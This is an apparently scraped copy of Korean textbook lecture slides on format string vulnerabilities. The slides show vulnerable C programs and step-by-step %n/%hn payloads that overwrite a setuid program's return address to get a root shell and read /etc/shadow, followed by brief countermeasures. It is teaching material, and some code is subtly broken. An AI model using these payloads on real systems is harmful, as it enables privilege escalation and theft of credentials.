AV Receiver - kr. · PDF fileAV Receiver AV 수신기 사용 ... 용어 해설.....91 오디오 포맷
포맷 스트링
-
Upload
palmer-malone -
Category
Documents
-
view
164 -
download
4
description
Transcript of 포맷 스트링
![Page 1: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/1.jpg)
IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안 (개정판 )
포맷 스트링
![Page 2: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/2.jpg)
2/37
Contents
학습목표 포맷 스트링의 취약점을 이해한다 . 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다 . 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다 . 포맷 스트링 공격을 수행할 수 있다 . 포맷 스트링 공격를 방어할 수 있다 .
내용 포맷 스트링 공격 포맷 스트링 공격에 대한 대응책
![Page 3: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/3.jpg)
3/37
포맷 스트링 공격
포맷 스트링 공격 1990 년대 말 알려지기 시작 formatstring.c 와 같이 buffer 에 저장된 문자열을 printf 함수 이용해 출력 이것이 정상적인 코드 작성법 , 사용된 %s 와 같은 문자열을 가리켜 포맷 스트링이라
함 .
formatstring.c
#include <stdio.h>
main(){char *buffer = "wishfree";printf("%s\n", buffer);
}
![Page 4: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/4.jpg)
4/37
포맷 스트링 공격
[ 표 8-1] 포맷 스트링 종류
매개변수 형식
%d 정수형 10 진수 상수 (integer)
%f 실수형 상수 (float)
%lf 실수형 상수 (double)
%c 문자 값 (char)
%s 문자 스트링 ((const)(unsigned) char *)
%u 10 진수 양의 정수
%o 8 진수 양의 정수
%x 16 진수 양의 정수
%s 문자열
%n int*( 총 바이트 수 )
%hn %n 의 반인 2 바이트 단위
![Page 5: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/5.jpg)
5/37
test1.c 컴파일과 실행
[ 그림 8-1] test1.c 컴파일 및 실행 결과
실습 8-1 포맷 스트링 공격 원리 이해하기
1
test1.c
#include <stdio.h>
main(){char *buffer = "wishfree\n";printf(buffer);
}
gcc -o test1 test1.c./test1
![Page 6: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/6.jpg)
6/37
test2.c 컴파일과 실행
wishfree 문자열 외에 8048440 출력 이 숫자는 wishfree 문자열이 저장된 다음 메모리에 존재하는 값 0x8048440 을
의미
[ 그림 8-2] test2.c 컴파일 및 실행 결과
실습 8-1 포맷 스트링 공격 원리 이해하기
2
test2.c
#include <stdio.h>
main(){char *buffer = "wishfree\n%x\n";printf(buffer);
}
gcc -g -o test2 test2.c./test2
![Page 7: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/7.jpg)
7/37
gdb 에서 0x8048440 값을 확인• printf(buffer); 행에 브레이크 포인트 설정
[ 그림 8-3] test2 브레이크 포인트 설정
실습 8-1 포맷 스트링 공격 원리 이해하기
gdb test2listbreak 5
![Page 8: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/8.jpg)
8/37
• &buffer 주소에 있는 값이 가리키는 값은 wishfree\n%x\n
[ 그림 8-4] test2 의 buffer 를 기준으로 스택 확인
실습 8-1 포맷 스트링 공격 원리 이해하기
runprint *bufferprint bufferprint &buffer
![Page 9: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/9.jpg)
9/37
• &buffer 값과 buffer 값의 관계
[ 그림 8-5] &buffer 주소에 있는 값이 가리키는 값 확인
실습 8-1 포맷 스트링 공격 원리 이해하기
![Page 10: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/10.jpg)
10/37
test3.c 컴파일과 실행 test2.c 의 char *buffer 값에 %x\n%x\n 을 추가한 test3.c 를 컴파일 gdb 로 test2.c 처럼 스택 값 확인
실습 8-1 포맷 스트링 공격 원리 이해하기
3
test3.c
#include <stdio.h>
main(){char *buffer = "wishfree\n%x\n%x\n%x\n";printf(buffer);
}
![Page 11: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/11.jpg)
11/37
printf(buffer); 에 브레이크 포인트 설정 , 실행
[ 그림 8-7] test3.c 컴파일 및 브레이크 포인트 설정
실습 8-1 포맷 스트링 공격 원리 이해하기
gcc -g -o test3 test3.cgdb test3listbreak 5run
![Page 12: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/12.jpg)
12/37
&buffer 를 기준으로 스택 값 조회하면 0x8048440, 0xbffffd68, 0x400309cb 값 확인
wishfree 문자열 다음 출력되는 값들 (0x8048440, 0xbffffd68,0x400309cb) 과 일치
‘wishfree\n%x\n%x\n%x\n’ 포맷 스트링으로 실행하면 , wishfree 다음
\n%x\n%x\n%x\n 의 %x 3 개가 문자열 자기 자신과 뒤로 이어지는 스택에 저장된 주소 값 출력
[ 그림 8-8] test3 실행 시 스택 값과 출력 값의 확인
실습 8-1 포맷 스트링 공격 원리 이해하기
print bufferprint &bufferx/8xw &bufferc
![Page 13: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/13.jpg)
13/37
test4.c 컴파일과 실행 포맷 스트링을 이용하면 메모리 내용을 볼 수 있을뿐 아니라 , 변조도 가능
실습 8-1 포맷 스트링 공격 원리 이해하기
4
test4.c
#include <stdio.h>
main(){long i = 0x00000064, j = 1;printf("i 의 주소 : %x\n", &i);printf("i 의 값 : %x\n", i);
printf("%64d%n\n", j, &i);printf(" 변경된 i 의 값 : %x\n", i);
}
![Page 14: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/14.jpg)
14/37
printf“( %64d%n\n”, j, &i) : i 의 주소값에 , j 에 64 의 16 진수값을입력 test4.c 를 컴파일 , 실행하면 64 가 16 진수인 0x40 로 출력
[ 그림 8-9] test4.c 실행 결과
실습 8-1 포맷 스트링 공격 원리 이해하기
gcc -o test4 test4.c./test4
![Page 15: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/15.jpg)
15/37
test5.c 컴파일과 실행 test5.c 는 프로그램 실행 시 메모리 내용 조회 가능한 dumpcode.h 파일 함께 사
용
실습 8-1 포맷 스트링 공격 원리 이해하기
5
test5.c
#include <stdio.h>#include "dumpcode.h"main() {
char buffer[64];fgets(buffer, 63, stdin);printf(buffer);dumpcode((char *)buffer, 96);
}
dumpcode.hvoid printchar(unsigned char c) {
if(isprint(c))printf("%c", c);
elseprintf(".");
}
![Page 16: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/16.jpg)
16/37
실습 8-1 포맷 스트링 공격 원리 이해하기
void dumpcode(unsigned char *buff, int len) {int i;for(i=0;i<len;i++) {
if(i%16==0)printf("0x%08x ", &buff[i]);
printf("%02x ", buff[i]);if(i%16-15==0) {
int j;printf(" ");for(j=I-15;j<=i;j++)
printchar(buff[j]);printf("\n");
}}
if(i%16!=0) {int j;int spaces=(len-i+16-i%16)*3+2;for(j=0;j<spaces;j++)
printf(" ");for(j=i-i%16;j<len;j++)
printchar(buff[j]);}printf("\n");
}
![Page 17: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/17.jpg)
17/37
test5.c 컴파일 , 실행
[ 그림 8-10] test5.c 실행 결과
실습 8-1 포맷 스트링 공격 원리 이해하기
gcc -o test5 test5.c./test5AAAAAAAA
![Page 18: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/18.jpg)
18/37
포맷 스트링 문자를 이용한 메모리 값 변조
아래와 같이 입력하고 실행
[ 그림 8-11] printf 함수를 이용한 문자열 출력
실습 8-1 포맷 스트링 공격 원리 이해하기
6
printf "\x41\x41\x41\x41\x42\x42\x42\x42"
![Page 19: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/19.jpg)
19/37
printf 함수는 아스키 코드 값을 Hex 로 입력해 해당 문자열 출력 printf 함수 이용해 test5.c 에 실행 인수 전달 포맷 스트링에서는
다음과 같이 cat 문과 파이프 (|) 이용
[ 그림 8-12] 0xbffffd78 주소에 0x00000009 값 입력
실습 8-1 포맷 스트링 공격 원리 이해하기
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%n"; cat) | ./test5
![Page 20: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/20.jpg)
20/37
0xbffffd78∼0xbfffd7c 주소까지의 bcfdffbf(0xbffffdbc) 값이 09 00 00 00(0x00000009) 로 바뀜 ,09 는 문자의 개수 (\x41\x41\x41\x41\x98\xfd\xff\xbf 와 %c 까지 합해 9 개의 문자 )
%%n 을 %%hn 으로 입력 (% 대신 %% 로 쓰는 것은 cat 지나면서 % 하나는 사라지기
때문 ) → 0xbffffd78∼0xbfffd7a 2 바이트만이 (09 00) 로 바뀜
[ 그림 8-13] 0xbffffd78 주소에 0x0009 값 입력
실습 8-1 포맷 스트링 공격 원리 이해하기
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%hn"; cat) | ./test5
![Page 21: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/21.jpg)
21/37
포맷 스트링 문자를 이용한 메모리 값을 특정 값으로 변조 %%c 대신 %%64d 입력
[ 그림 8-14] test5 를 이용해 0xbffffd98 주소에 0x0048 값 입력
48 00 으로 바뀜 . 0x48 은 10 진수로 72(64+8) 이 72 ‘는 \x41\x41\x41\x41\x98\xfd\xff\xbf’ 문자열의 길이 (8 바이트 ) 와
%%64d 의 64 를 합한숫자
실습 8-1 포맷 스트링 공격 원리 이해하기
7
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64d%%hn"; cat) | ./test5
![Page 22: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/22.jpg)
22/37
포맷 스트링 문자를 이용한 메모리 값을 특정 주소 값으로 변조
0xbfffd78∼ 0xbfffd7c 값을 bc fa ab bf (0xbfabfabc) 로 바꿔보자 . bfabfabc 를 10 진수로 바꾼 값 3215719100 에서 앞의 8 개 문자열의 개수를
제한 값 %%3215719092d 시험
[ 그림 8-15] test5 를 이용해 0xbffffd78 주소에 입력 가능 범위 이상의 수 입력
프로그램 비정상적 종료 (x86 시스템은 3215719092 와 같이 큰 수를 CPU 에서 바로 인식할 수 없기 때문 )
실습 8-1 포맷 스트링 공격 원리 이해하기
8
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%3215719092d%%n"; cat) | ./test5
![Page 23: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/23.jpg)
23/37
2 바이트씩 나누어 입력해 뒤의 2 바이트 0xfabc 입력 0xfabc 는 10 진수로 64188 결국 %%64180d 가 됨 ( 입력 )→2 바이트 변경 완료
[ 그림 8-16] test5 를 이용해 0xbffffd98 주소에 0xfabc 값 입력
실습 8-1 포맷 스트링 공격 원리 이해하기
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64180d%%hn"; cat) | ./test5
![Page 24: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/24.jpg)
24/37
나머지 2 바이트 변경 0xbfabfabc 는‘ -1079248196(0xbfabfabc-0x100000000)’, 스택에 1bfab(114603) 을 넣기 위해 이미 입력한 64180 을 빼고 50423 을 입력
[ 그림 8-17] test5 를 이용해 0xbffffd78 주소에 0xbfbcfac5 값 입력
실습 8-1 포맷 스트링 공격 원리 이해하기
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test5
![Page 25: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/25.jpg)
25/37
64180d 앞에 \x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a
\xfd\xff\xbf 총 16 개의 문자가 있으므로 원래의 0xfabc(64188) 을 표현 위해
64172(64188-16) 로 바꾸어야 함 다음에는 합이 0x1bfab(114603) 가 되어야 하므로 나머지 값은 114603-
(16+64172)
50415 가 됨
[ 그림 8-18] test5 를 이용해 0xbffffd78 주소에 0xbfabfabc 값 입력
실습 8-1 포맷 스트링 공격 원리 이해하기
(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test5
![Page 26: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/26.jpg)
26/37
format_bugfile.c/ eggshell.c 컴파일과 권한 부여 및 실행 프로그램인 format_bugfile.c 과 공격 셸을 띄우기 위한 eggshell 컴파일
[ 그림 8-19] format_bugfile 의 동작 확인
실습 8-2 포맷 스트링 공격 수행하기
1
format_bugfile.c#include <stdio.h>main(){int i =0;char buf[64];memset(buf, 0, 64);read(0, buf, 64);printf(buf);dumpcode((char *)buffer, 96);}
gcc -o format_bugfile format_bugfile.cgcc -o eggshell eggshell.cchmod 4755 ./format_bugfile./format_bugfileAAAAAA
![Page 27: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/27.jpg)
27/37
ret 주소 확인
AAAAAA 와 함께 적당한 길이의 %x 입력
[ 그림 8-20] format_bugfile 에 포맷 스트링 문자를 입력할 때 동작 확인
실습 8-2 포맷 스트링 공격 수행하기
2
./format_bugfileAAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x
![Page 28: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/28.jpg)
28/37
➊ 입력 값으로 넣은 AAAAAA 문자열의 정상적인 출력 값 ➋ 스택에 입력된 앞 부분 AAAA 값의 아스키 코드 값 (41)
➌ 상위 스택에 저장된 AA 값에 대한 아스키 코드 값 ➍ int i=0 으로 필자가 확인 지점으로 입력해둔 0 이 저장 ➎ 이 함수의 저장된 ebp 값 (sfp)
➏ main 함수의 ret 값
실습 8-2 포맷 스트링 공격 수행하기
AAAAAA 41414141 25204141 78252078 20782520 25207825 78252078
➊ ➋ ➌ 20782520 25207825 78252078 20782520 25207825
78252078 20782520 25207825 78252078 a782520 0 bffffd68 400309cb ➍ ➎ ➏
![Page 29: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/29.jpg)
29/37
실습 8-2 포맷 스트링 공격 수행하기
![Page 30: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/30.jpg)
30/37
Gab 에서 주소 확인
해당 메모리의 주소도 확인
[ 그림 8-22] format_bugfile 의 main 함수의 어셈블리어 코드 확인
실습 8-2 포맷 스트링 공격 수행하기
3
gdb format_bugfiledisass main
![Page 31: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/31.jpg)
31/37
sfp 와 ret 확인 위해 main+3 에 브레이크 포인트 설정 실행
[ 그림 8-23] sfp 와 ret 값을 확인하기 위한 break 지점 설정 후 실행
➏값인 0x4000309cb 가 우리가 생각한 ret 와 일치
[ 그림 8-24] sfp 와 ret 값의 주소 값 확인
format_bugfile 이 실행되어 0xbfffd38 에 sfp, 0xbfffd3c 에 ret 주소가 저장
실습 8-2 포맷 스트링 공격 수행하기
break *0x804842brun
info reg $ebpx/12 $ebp
![Page 32: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/32.jpg)
32/37
실제 ret 주소 확인
eggshell 이 메모리에 계속 남게 되므로 , ret 주소 값도 달라짐 이러한 실행에서는 단순히 상대적인 실행 주소 확인 Sfp 값인 bffffd68 와 확인한 0xbffffd3c 값의 차이 0x2c 이용해야 함
[ 그림 8-25] eggshell 의 실행
실습 8-2 포맷 스트링 공격 수행하기
4
su wishfree./eggshell
![Page 33: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/33.jpg)
33/37
eggshell 을 올린 후 다시 format_bugfile 을 실행해 sfp 주소 확인 Sfp 는 0xbffff368, sfp 와 ret 주소 값의 차이가 0x2c, ret 주소는 0xbffff33c
(0xbffff368- 0x2c) 가 될 것
[ 그림 8-26] eggshell 의 실행 후 변화된 format_bugfile 의 sfp 확인
실습 8-2 포맷 스트링 공격 수행하기
./format_bugfileAAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x
![Page 34: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/34.jpg)
34/37
포맷 스트링 공격 수행
format_bugfile 의 ret 주소 (0xbffff33c∼0xbffff33f) 에 eggshell 에서 확보한 0xbffffd38 입력
0xbffffd18 에 1 을 붙여 1bfff 와 fd18 로 나누고 각각 10 진수를 구한다 .
0xbffff33c 에는 49895(114687-64792) 값 입력 0xbffff33e 에는 주소지에 대한 값인 16 개의 문자가 들어가므로 64776(64792-16)
입력
(printf““;cat) | ./bugfile 형식에 위의 코드를 입력해 실제 공격
[ 그림 8-27] 포맷 스트링 공격 실시
실습 8-2 포맷 스트링 공격 수행하기
5
./format_bugfileAAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x
\x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf%%64776d%%hn%%49895d%%hn
(printf "\x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf%%64776d%%hn%%49895d%%hn";cat) | ./format_bugfile
![Page 35: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/35.jpg)
35/37
관리자 계정 획득
[ 그림 8-28] 관리자 권한 확인
실습 8-2 포맷 스트링 공격 수행하기
idcat /etc/shadow
![Page 36: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/36.jpg)
36/37
포맷 스트링 공격에 대한 대응책
printf 함수를 정상적으로 사용하여 공격에 대응
포맷 스트링 공격 취약점을 가진 함수• fprintf(fp, 서식 문자열 , 인자 1, ... , 인자 N) 함수
• sprintf(char *str, const char *fmt,...) 함수
• snprintf(char *str, size_t count, const char *fmt, ...) 함수
printf("%s\n", buffer);
fp= fopen("/dev/null", "w"); // 파일을 쓰기 모드로 오픈fprintf(fp, "decimal=%d octal=%o", 123,123);
a= sprintf("decimal= %d octal= %o", 123,123);print(" ", a);
decimal= 123 octal= 173
![Page 37: 포맷 스트링](https://reader037.fdocument.pub/reader037/viewer/2022102617/56812d14550346895d91f1c6/html5/thumbnails/37.jpg)
IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안 (개정판 )